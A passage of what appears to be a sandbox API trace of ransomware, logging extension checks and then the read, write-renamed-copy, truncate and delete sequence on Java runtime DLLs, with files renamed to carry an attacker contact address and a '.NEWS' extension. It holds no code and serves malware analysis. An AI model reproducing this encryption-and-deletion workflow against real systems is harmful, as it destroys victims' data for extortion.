(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.891] lstrlenW (lpString=".dbf") returned 4 [0091.891] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.892] lstrlenW (lpString=".1cd") returned 4 [0091.892] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.892] lstrlenW (lpString=".jpg") returned 4 [0091.892] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.892] lstrlenW (lpString=".doc") returned 4 [0091.892] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.892] lstrlenW (lpString=".docx") returned 5 [0091.892] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0091.892] lstrlenW (lpString=".pdf") returned 4 [0091.892] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.892] lstrlenW (lpString=".xls") returned 4 [0091.892] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.892] lstrlenW (lpString=".xlsx") returned 5 [0091.892] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0091.892] lstrlenW (lpString=".ppt") returned 4 [0091.892] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.892] lstrlenW (lpString=".zip") returned 4 [0091.892] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.892] lstrlenW (lpString=".rar") returned 4 [0091.892] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.892] lstrlenW (lpString=".bz2") returned 4 [0091.892] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.892] lstrlenW (lpString=".7z") returned 3 [0091.892] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.892] lstrlenW (lpString=".dbf") returned 4 [0091.892] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.892] lstrlenW (lpString=".1cd") returned 4 [0091.892] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49 [0091.893] lstrlenW (lpString=".jpg") returned 4 [0091.893] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.893] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.893] lstrlenW (lpString="jsoundds.dll") returned 12 [0091.893] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.893] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=31296) returned 1 [0091.893] CloseHandle (hObject=0x2f4) returned 1 [0091.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20 [0091.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.893] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.893] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.893] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.893] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0091.894] GetLastError () returned 0x0 [0091.894] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x7a40, lpOverlapped=0x0) returned 1 [0091.895] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x7a50, lpOverlapped=0x0) returned 1 [0091.897] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.897] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xec, lpOverlapped=0x0) returned 1 [0091.897] SetEndOfFile (hFile=0x330) returned 1 [0091.897] CloseHandle (hObject=0x330) returned 1 [0091.897] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.897] SetEndOfFile (hFile=0x2f4) returned 1 [0091.898] CloseHandle (hObject=0x2f4) returned 1 [0091.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0091.898] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 1 [0091.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.899] lstrlenW (lpString=".doc") returned 4 [0091.899] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.899] lstrlenW (lpString=".docx") returned 5 [0091.899] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0091.899] lstrlenW (lpString=".pdf") returned 4 [0091.899] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.899] lstrlenW (lpString=".xls") returned 4 [0091.899] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.899] lstrlenW (lpString=".xlsx") returned 5 [0091.899] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0091.899] lstrlenW (lpString=".ppt") returned 4 [0091.899] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.899] lstrlenW (lpString=".zip") returned 4 [0091.899] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.899] lstrlenW (lpString=".rar") returned 4 [0091.899] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.899] lstrlenW (lpString=".bz2") returned 4 [0091.899] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.899] lstrlenW (lpString=".7z") returned 3 [0091.899] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.899] lstrlenW (lpString=".dbf") returned 4 [0091.899] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.899] lstrlenW (lpString=".1cd") returned 4 [0091.899] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.899] lstrlenW (lpString=".jpg") returned 4 [0091.899] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.899] lstrlenW (lpString=".doc") returned 4 [0091.899] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0091.899] lstrlenW (lpString=".docx") returned 5 [0091.900] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0091.900] lstrlenW (lpString=".pdf") returned 4 [0091.900] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0091.900] lstrlenW (lpString=".xls") returned 4 [0091.900] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0091.900] lstrlenW (lpString=".xlsx") returned 5 [0091.900] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0091.900] lstrlenW (lpString=".ppt") returned 4 [0091.900] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0091.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.900] lstrlenW (lpString=".zip") returned 4 [0091.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0091.900] lstrlenW (lpString=".rar") returned 4 [0091.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0091.900] lstrlenW (lpString=".bz2") returned 4 [0091.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0091.900] lstrlenW (lpString=".7z") returned 3 [0091.900] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0091.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.900] lstrlenW (lpString=".dbf") returned 4 [0091.900] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0091.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.900] lstrlenW (lpString=".1cd") returned 4 [0091.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0091.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51 [0091.900] lstrlenW (lpString=".jpg") returned 4 [0091.900] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0091.900] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0091.900] lstrlenW (lpString="kcms.dll") returned 8 [0091.900] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.901] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=220736) returned 1 [0091.901] CloseHandle (hObject=0x2f4) returned 1 [0091.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20 [0091.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0091.901] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.901] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0091.902] GetLastError () returned 0x0 [0091.902] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x35e40, lpOverlapped=0x0) returned 1 [0092.193] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x35e50, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x35e50, lpOverlapped=0x0) returned 1 [0092.197] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.197] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0092.197] SetEndOfFile (hFile=0x330) returned 1 [0092.198] CloseHandle (hObject=0x330) returned 1 [0092.198] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.198] SetEndOfFile (hFile=0x2f4) returned 1 [0092.200] CloseHandle (hObject=0x2f4) returned 1 [0092.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.200] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 1 [0092.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.200] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.200] lstrlenW (lpString=".doc") returned 4 [0092.200] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.200] lstrlenW (lpString=".docx") returned 5 [0092.200] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0092.200] lstrlenW (lpString=".pdf") returned 4 [0092.201] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.201] lstrlenW (lpString=".xls") returned 4 [0092.201] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.201] lstrlenW (lpString=".xlsx") returned 5 [0092.201] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0092.201] lstrlenW (lpString=".ppt") returned 4 [0092.201] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.201] lstrlenW (lpString=".zip") returned 4 [0092.201] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.201] lstrlenW (lpString=".rar") returned 4 [0092.201] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.201] lstrlenW (lpString=".bz2") returned 4 [0092.201] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.201] lstrlenW (lpString=".7z") returned 3 [0092.201] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.201] lstrlenW (lpString=".dbf") returned 4 [0092.201] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.201] lstrlenW (lpString=".1cd") returned 4 [0092.201] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.201] lstrlenW (lpString=".jpg") returned 4 [0092.201] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.201] lstrlenW (lpString=".doc") returned 4 [0092.201] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.201] lstrlenW (lpString=".docx") returned 5 [0092.201] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0092.201] lstrlenW (lpString=".pdf") returned 4 [0092.201] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.201] lstrlenW (lpString=".xls") returned 4 [0092.201] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.201] lstrlenW (lpString=".xlsx") returned 5 [0092.202] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0092.202] lstrlenW (lpString=".ppt") returned 4 [0092.202] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.202] lstrlenW (lpString=".zip") returned 4 [0092.202] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.202] lstrlenW (lpString=".rar") returned 4 [0092.202] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.202] lstrlenW (lpString=".bz2") returned 4 [0092.202] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.202] lstrlenW (lpString=".7z") returned 3 [0092.202] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.202] lstrlenW (lpString=".dbf") returned 4 [0092.202] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.202] lstrlenW (lpString=".1cd") returned 4 [0092.202] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0092.202] lstrlenW (lpString=".jpg") returned 4 [0092.202] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.202] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.202] lstrlenW (lpString="lcms.dll") returned 8 [0092.202] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0092.203] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=233536) returned 1 [0092.203] CloseHandle (hObject=0x2f4) returned 1 [0092.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0092.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.203] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0092.204] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.204] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.204] GetLastError () returned 0x0 [0092.204] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x39040, lpOverlapped=0x0) returned 1 [0092.209] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x39050, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x39050, lpOverlapped=0x0) returned 1 [0092.213] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.213] WriteFile (in: hFile=0x330, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xe4, lpOverlapped=0x0) returned 1 [0092.213] SetEndOfFile (hFile=0x330) returned 1 [0092.213] CloseHandle (hObject=0x330) returned 1 [0092.213] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.214] SetEndOfFile (hFile=0x2f4) returned 1 [0092.216] CloseHandle (hObject=0x2f4) returned 1 [0092.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.216] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 1 [0092.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.216] lstrlenW (lpString=".doc") returned 4 [0092.216] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.216] lstrlenW (lpString=".docx") returned 5 [0092.216] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0092.216] lstrlenW (lpString=".pdf") returned 4 [0092.216] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.216] lstrlenW (lpString=".xls") returned 4 [0092.216] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.216] lstrlenW (lpString=".xlsx") returned 5 [0092.216] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0092.216] lstrlenW (lpString=".ppt") returned 4 [0092.216] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.217] lstrlenW (lpString=".zip") returned 4 [0092.217] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.217] lstrlenW (lpString=".rar") returned 4 [0092.217] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.217] lstrlenW (lpString=".bz2") returned 4 [0092.217] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.217] lstrlenW (lpString=".7z") returned 3 [0092.217] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.217] lstrlenW (lpString=".dbf") returned 4 [0092.217] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.217] lstrlenW (lpString=".1cd") returned 4 [0092.217] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.217] lstrlenW (lpString=".jpg") returned 4 [0092.217] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.217] lstrlenW (lpString=".doc") returned 4 [0092.217] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.217] lstrlenW (lpString=".docx") returned 5 [0092.217] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0092.217] lstrlenW (lpString=".pdf") returned 4 [0092.217] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.217] lstrlenW (lpString=".xls") returned 4 [0092.217] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.217] lstrlenW (lpString=".xlsx") returned 5 [0092.217] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0092.217] lstrlenW (lpString=".ppt") returned 4 [0092.217] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0092.217] lstrlenW 